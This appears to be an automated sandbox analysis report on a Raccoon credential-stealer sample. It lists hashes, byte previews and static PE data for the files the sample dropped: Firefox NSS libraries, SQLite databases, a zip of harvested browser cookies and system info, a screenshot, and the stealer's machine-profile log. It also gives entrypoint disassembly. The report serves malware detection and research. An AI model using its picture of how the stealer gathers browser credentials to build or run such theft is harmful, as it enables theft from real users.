Size (bytes):	83408
Entropy (8bit):	6.436278889454398
Encrypted:	false
SSDEEP:	1536:CNr03+TtFKytqB0EeCsu1sW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU
MD5:	385A92719CC3A215007B83947922B9B5
SHA1:	38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10
SHA-256:	06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEB0D4C7A8C3F225BB
SHA-512:	9F0DFF00C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8D36A4A1F0AB8DC452E2C65E9F4B6CD32BBB8ADA1FF7C865126A5F318719579DB763E4C4183F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........mR;...;...;.......2.......G.......).......*.......".......4.......>...;...n.......:.......:.......:.......:...Rich;...........................PE..L....=.\.........."!.........................................................`......>.....@.............................l.......<....@..P............(.......P..d...0...T...............................@............................................text............................... ..`.rdata..Z[.......\..................@..@.data........ ......................@....rsrc...P....@......................@..@.reloc..d....P......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozglue.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.784614237836286
Encrypted:	false
SSDEEP:	3072:Z6s2DIGLXlNJJcPoN0j/kVqhp1qt/TXTv7q1D2JJJvPhrSeXZ5dR:MszGLXlNrE/kVqhp12/TXTjSD2JJJvPt
MD5:	EAE9273F8CDCF9321C6C37C244773139
SHA1:	8378E2A2F3635574C106EEA8419B5EB00B8489B0
SHA-256:	A0C6630D4012AE0311FF40F4F06911BCF1A23F7A4762CE219B8DFFA012D188CC
SHA-512:	06E43E484A89CEA9BA9B9519828D38E7C64B040F44CDAEB321CBDA574E7551B11FEA139CE3538F387A0A39A3D8C4CBA7F4CF03E4A3C98DB85F8121C2212A9097
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...{>.\.........."!.....z...................................................@......j.....@A........................@...t.......,.... ..x....................0..l.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..l....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\msvcp140.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nss3.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1245136
Entropy (8bit):	6.766715162066988
Encrypted:	false
SSDEEP:	24576:ido5Js2a56/+VwJebKj5KYFsRjzx5ZxKV6D1Z4Go/LCiytoxq2Zwn5hCM4MSRdY8:Q2aY4w6aozx5ZWMM7yew8MSRK1y
MD5:	02CC7B8EE30056D5912DE54F1BDFC219
SHA1:	A6923DA95705FB81E368AE48F93D28522EF552FB
SHA-256:	1989526553FD1E1E49B0FEA8036822CA062D3D39C4CAB4A37846173D0F1753D5
SHA-512:	0D5DFCF4FB19B27246FA799E339D67CD1B494427783F379267FB2D10D615FFB734711BAB2C515062C078F990A44A36F2D15859B1DACD4143DCC35B5C0CEE0EF5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c.4.'.Z.'.Z.'.Z.....3.Z...[.%.Z.B..#.Z...Y.*.Z..._.-.Z...^.,.Z...[./.Z..[.$.Z.'.[...Z..^.-.Z..Z.&.Z...&.Z..X.&.Z.Rich'.Z.........................PE..L....@.\.........."!.........................................................@......Q.....@................................x=..T.......p........................\|......T...........................h...@............................................text............................... ..`.rdata...Q.......R..................@..@.data...tG...`..."...>..............@....rsrc...p............`..............@..@.reloc...\|.......~...d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssckbi.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	336336
Entropy (8bit):	7.0315399874711995
Encrypted:	false
SSDEEP:	6144:8bndzEL04gF85K9autIMyEhZ/V3psPyHa9tBe1:8bndzEL04pnutIMyAp2z9tBe1
MD5:	BDAF9852F588C86B055C846B53D4C144
SHA1:	03B739430CF9EADE21C977B5B416C4DD94528C3B
SHA-256:	2481DA1C459A2429A933D19AD6AE514BD2AE59818246DDB67B0EF44146CED3D8
SHA-512:	19D9A952A3DF5703542FA52A5A780C2E04D6A132059F30715954EAC40CD1C3F3B119A29736D4A911BE85086AFE08A54A7482FA409DFD882BAC39037F9EECD7EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pi.Pi.Pi.(..Pi.F2h.Pi.F2j.Pi.F2l.Pi.F2m.Pi.0h.Pi.T3h.Pi.Ph.Pi.T3m.Pi.T3i.Pi.T3..Pi.T3k.Pi.Rich.Pi.........PE..L....@.\.........."!.........`......q........................................@...........@.............................P.......d.......x.......................t)..p...T..............................@............................................text.............................. ..`.rdata..>...........................@..@.data....N.......L..................@....rsrc...x...........................@..@.reloc..t).......*..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssdbm3.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639527605275762
Encrypted:	false
SSDEEP:	1536:YvNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41Pc:+NGVOiBZbcGmxXMcBqmzoCUZoZebHPAT
MD5:	94919DEA9C745FBB01653F3FDAE59C23
SHA1:	99181610D8C9255947D7B2134CDB4825BD5A25FF
SHA-256:	BE3987A6CD970FF570A916774EB3D4E1EDCE675E70EDAC1BAF5E2104685610B0
SHA-512:	1A3BB3ECADD76678A65B7CB4EBE3460D0502B4CA96B1399F9E56854141C8463A0CFCFFEDF1DEFFB7470DDFBAC3B608DC10514ECA196D19B70803FBB02188E15E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L....@.\.........."!.........0...............0......................................*q....@......................... ?......(@.......`..x............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..D....0... ..................@..@.data........P.......>..............@....rsrc...x....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\prldap60.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24016
Entropy (8bit):	6.532540890393685
Encrypted:	false
SSDEEP:	384:TQJMOeAdiNcNUO3qgpw6MnTmJk0llEEHAnDl3vDG8A3OPLondJJs2z:KMaNqb6MTmVllEK2p/DG8MlsQ
MD5:	6099C438F37E949C4C541E61E88098B7
SHA1:	0AD03A6F626385554A885BD742DFE5B59BC944F5
SHA-256:	46B005817868F91CF60BAA052EE96436FC6194CE9A61E93260DF5037CDFA37A5
SHA-512:	97916C72BF75C11754523E2BC14318A1EA310189807AC8059C5F3DC1049321E5A3F82CDDD62944EA6688F046EE02FF10B7DDF8876556D1690729E5029EA414A9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:`wq[.$q[.$q[.$x#.$s[.$.9.%s[.$.9.%p[.$.9.%{[.$.9.%z[.$S;.%s[.$.8.%t[.$q[.$=[.$.8.%t[.$.8.%p[.$.8.$p[.$.8.%p[.$Richq[.$........PE..L....@.\.........."!..... ... .......%.......0...............................p......./....@..........................5......p7..x....P..x............@.......`..$...`1..T............................1..@............0..,............................text...2........ .................. ..`.rdata.......0.......$..............@..@.data...4....@.......4..............@....rsrc...x....P.......8..............@..@.reloc..$....`.......<..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\qipcap.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16336
Entropy (8bit):	6.437762295038996
Encrypted:	false
SSDEEP:	192:aPgr1ZCb2vGJ7b20qKvFej7x0KDWpH3vUA397Ae+PjPonZwC7Qm:aYpZPGJP209F4vDG8A3OPLonZwC7X
MD5:	F3A355D0B1AB3CC8EFFCC90C8A7B7538
SHA1:	1191F64692A89A04D060279C25E4779C05D8C375
SHA-256:	7A589024CF0EEB59F020F91BE4FE7EE0C90694C92918A467D5277574AC25A5A2
SHA-512:	6A9DB921156828BCE7063E5CDC5EC5886A13BD550BA8ED88C99FA6E7869ECFBA0D0B7953A4932EB8381243CD95E87C98B91C90D4EB2B0ACD7EE87BE114A91A9E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s6.7W..7W..7W..>/..5W...5..5W...5..6W...5..>W...5..<W...7..4W..7W..*W...4..6W...4`.6W...4..6W..Rich7W..................PE..L....B.\.........."!......................... ...............................`.......r....@..................................$..P....@..x............".......P.. .... ..T............................ ..@............ ..h............................text...P........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...x....@......................@..@.reloc.. ....P....... ..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\softokn3.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.54005414297208
Encrypted:	false
SSDEEP:	3072:8Af6suip+I7FEk/oJz69sFaXeu9CoT2nIVFetBW3D2xkEMk:B6POsF4CoT2OeYMzMk
MD5:	4E8DF049F3459FA94AB6AD387F3561AC
SHA1:	06ED392BC29AD9D5FC05EE254C2625FD65925114
SHA-256:	25A4DAE37120426AB060EBB39B7030B3E7C1093CC34B0877F223B6843B651871
SHA-512:	3DD4A86F83465989B2B30C240A7307EDD1B92D5C1D5C57D47EFF287DC9DAA7BACE157017908D82E00BE90F08FF5BADB68019FFC9D881440229DCEA5038F61CD6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....@.\.........."!.........b...............................................P.......\|....@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ucrtbase.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\vcruntime140.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\imUlOHTtWMK.zip Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	62251
Entropy (8bit):	7.994650661960675
Encrypted:	true
SSDEEP:	1536:tLKWBZjgRtWCtLKC6BePQsdXeFJkreMmm3yJQWMwGgdE:tm0ZmYr0PdXgQZmmCJtkD
MD5:	8E0FACFDF43D4CE1F29FA8D546455D38
SHA1:	EFC1BDC63B0725BAB690D691F1EA58CF67F5A146
SHA-256:	375A257E24D5968691ACF8521EC432C87FC57414C530EB675653948AF7B2A902
SHA-512:	D546400CEEF98903516181F05D20FA87A5E6042F2E97A55F455A2E07AD4DDA73BF428EA50B19DAB3E49B8F5B91CABFEF2BA96E8DE3D6D3217B99D837361F03C8
Malicious:	false
Preview:	PK.........PWRK.3............browsers/cookies/Google Chrome_Default.txtUT.....4`..4`..4`%..r.0...5..S....E...f"......G..h....z6g#.I^..L7+O.j..g.l..[.E......gy.....p...n.[.Fk..LR..4E[_....U#..%M..U...Q>..5....l.?.H...\.l..}.G....y...._.h..a.......H..0d.=..\|.F8s.0...u.......PK.........PWRt1......7.......System Info.txtUT...?.4`?.4`?.4`uS.j.0.}....<&P.I...O...t........V.QG2.....;N.n...`......J..~.#....6jtY@n......V)...W....D.%)e.)gH....w..Y...PNx..0..TDp......OR..x:..(..Y...0..Q4.D2..Y4...{e..(.p.1F.-`....j[!.o..9B..}...:`)....@.v..k.~.]..Z.an....Z[.v..r-..[tbj.......;k0.$.s...)$....8.........."B6.......!.....\|w..]...].R..z..x...}.....=.<."...t.3....m..6.}..?.p.....-Kg.&...D.c.k....^cqJfy....{.>..To.....8..~.'....;....S.T.[.Ql.`1.^.......X.N).....<....(?%0...N......>,t..5.....-+dU.l.. ..eY.\gU....e.}P.....a.d..L..cCB.N=.a.\|va../.x..^a."B.`IH.g...U{..R..J...I....IW.YBr"q.P..pAQ./%kj.P.......n.lX?.U...8...e1.~..H.O.>.<.....nm..=..PK.........P

C:\Users\user\AppData\LocalLow\machineinfo.txt Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	5.257779537140136
Encrypted:	false
SSDEEP:	24:eGeijn7H/f3eky53Net5IvNxBqhKQa77CGik/R8RA2Tvqzh:5eK7H3Q3NetcBg2CGik/R0A+0h
MD5:	4D56E2CC93E95769F64921D773DDD348
SHA1:	A7C873043EC688FC1F71686CFC926521E27D109D
SHA-256:	624C196AC850A006600246BE98FFC8C1824100C96CB075B876B7A919F163A231
SHA-512:	C73B04E9BA46F061ABCC89576C2BD76F10B166BFBEAB3A30F9881534C78C374286C1B8CF1D160710F6394DC55F6BFC739D7BB7F5C7CEBE5FF94425FF9BA4CEBF
Malicious:	false
Preview:	Raccoon \| 1.7.2...Build compile date: Sun Jan 10 14:58:01 2021...Launched at: 2021.02.23 - 18:04:45 GMT...Bot_ID: D06ED635-68F6-4E9A-955C-4899F5F57B9A_user...Running on a desktop......-------------...... - Cookies: 1... - Passwords: 0... - Files: 0......System Information:... - System Language: English... - System TimeZone: -8 hrs... - IP: 84.17.52.38... - Location: 47.431702, 8.575900 \| Zurich, Zurich, Switzerland (8152)... - ComputerName: 704672... - Username: user... - Windows version: NT 10.0... - Product name: Windows 10 Pro... - System arch: x64... - CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)... - RAM: 8191 MB (5431 MB used)... - Screen resolution: 1280x1024... - Display devices:....0) Microsoft Basic Display Adapter......-------------......Installed Apps: ....Adobe Acrobat Reader DC (19.012.20035)....Google Chrome (85.0.4183.121)....Google Update Helper (1.3.35.451)....Java 8 Update 211 (8.0.2110.12)....Java Auto Updater (2.8.211.12)....Update

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6951152985249047
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBopIvJn2QOYiUG3PaVrX:T5LLOpEO5J/Kn7U1uBopIvZXC/alX
MD5:	EA7F9615D77815B5FFF7C15179C6C560
SHA1:	3D1D0BAC6633344E2B6592464EBB957D0D8DD48F
SHA-256:	A5D1ABB57C516F4B3DF3D18950AD1319BA1A63F9A39785F8F0EACE0A482CAB17
SHA-512:	9C818471F69758BD4884FDB9B543211C9E1EE832AC29C2C5A0377C412454E8C745FB3F38FF6E3853AE365D04933C0EC55A46DDA60580D244B308F92C57258C98
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\screen.jpeg Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	68991
Entropy (8bit):	7.784000355213806
Encrypted:	false
SSDEEP:	1536:P+A+y9G75TNAAroFipWaYsJjCBCQ0Xc/EaeWe5gKerF:WA+y9GJ6NUJ2N0M/beQKeJ
MD5:	CCE5787AB0F0F8B727DD65FFB80AAACF
SHA1:	B17ABA8CA1C4FBBD9490117E4B48FB499BD8A8A6
SHA-256:	67902855C8B97B854C0B930FF22B4F33150B4E1FA7071D6AD5A5EC87E71A44B1
SHA-512:	70F7A1D3E87B0F759914B42BBF74FEDF82F2C8815B556A3971C08F4773DC7D54B2DD27FBA5AA9E5DD7382C5D9BA17D1637E186335CBB08754A4876B57D8106E2
Malicious:	false
Preview:	......JFIF.....`.`.....C................3!....?-/%3JANMIAHFR\vdRWoXFHf.hoz}...Oc.....v......C.......<!!<.THT............................................................."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(.......f.>y.H.,g...?...r-2..Gi.....O.J.c......<....?.j..;u.e.._.?......6..ki...bd..#..=...E-.....R..WP..y..........g._.....eX}b.sOg..1K]@.v..... ...U.]C.k....vL....\F....[.QE%hH.RR..QK]7..k-N.g.FfI0.b8.&.5..R...'...)?....=+.y.....O:.+<..._.C.H...#?t.w..\.)F*......I.MXm....(...(.:lI>.k...9&Ea.d......}..\|...#...&.4.y.................j..t."X...#......O..d>S..._...5

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916735
Entropy (8bit):	6.514932604208782
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

C:\Users\user\AppData\Local\Temp\XObEdOuQjV.exe Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2815200
Entropy (8bit):	7.953362491360736
Encrypted:	false
SSDEEP:	49152:VWEtbogqxMxxZ+0l1Tre9veLEZQCFSbXd5uEzQ4S7liGMKu70nrWvkyHvCDYL3:VWUb1qH41TC9mLYQCFSbX2d7oGJavkcz
MD5:	57085294BACFA73000193DBAC24CD026
SHA1:	07304F11063207DA6385A4AFC2796D06B4FF6DA3
SHA-256:	0C8718D6654602C476B55B6EF34A6B4D6B280794AA586B71E55A3E11067AB129
SHA-512:	7FBE23A3F337ECEE809C0AAFE8D17BB8956BD367935E0428A8398F6171FEAC94D5564657928B8E7DB6309334D96FA77BA7655F6B543998B5DB59FEE9F52C2839
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....2`.................P..........X.H.. ........@.. ........................s.....t:+...@.................................:...P.......................6.......................................................................................... .`... ..................... ..` ............................@..@ .............2..............@..B.idata... ...........4..............@....rsrc.... ...........6..............@..@.themida..G..........<..............`....boot........H.....<..............`..`........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.398265311987017
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe
File size:	555520
MD5:	060bd14ae501d8dae94cc73672ab195b
SHA1:	e16be2044b73bfb717d92d13968eac473d64b8fc
SHA256:	757c6ccb2021bb12cb15fafcd4d748ef2d347ed4cb51076162563cbfe1ea01e0
SHA512:	4c39ee69a9e1f8511c8c37a714cd2e9a44f5223fa9c356a8c0d466d273caeba2c391107822111de63ebfbca53b4a4601e90f03d5317914dc53192ef8fef28704
SSDEEP:	12288:v0R651v0Rkfohu9i0w1UP/e9GjvMe1i+BF4O:v0asRkA7lUu9mMe1Vf4O
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L......^...........

File Icon


Icon Hash:	709c28c4c4e4b8d4

Static PE Info

General
Entrypoint:	0x403740
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5E80AE8B [Sun Mar 29 14:19:55 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	113ab027842a74f801bdc92a0f80850f

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F2DC0B93B4Bh
call 00007F2DC0B8BB66h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00474168h
push 0040B2A0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [00476090h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0046D0A0h]
cmp dword ptr [0086CF60h], 00000000h
jne 00007F2DC0B8BB60h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [0046D09Ch]
call 00007F2DC0B8BCE3h
mov dword ptr [ebp-6Ch], eax
call 00007F2DC0B9577Bh
test eax, eax
jne 00007F2DC0B8BB5Ch
push 0000001Ch
call 00007F2DC0B8BCA0h
add esp, 04h
call 00007F2DC0B950D8h
test eax, eax
jne 00007F2DC0B8BB5Ch
push 00000010h
call 00007F2DC0B8BC8Dh
add esp, 04h
push 00000001h
call 00007F2DC0B90E63h
add esp, 04h
call 00007F2DC0B94FEBh
mov dword ptr [ebp-04h], 00000000h
call 00007F2DC0B94BCFh
test eax, eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x74af0	0x28	.rdata
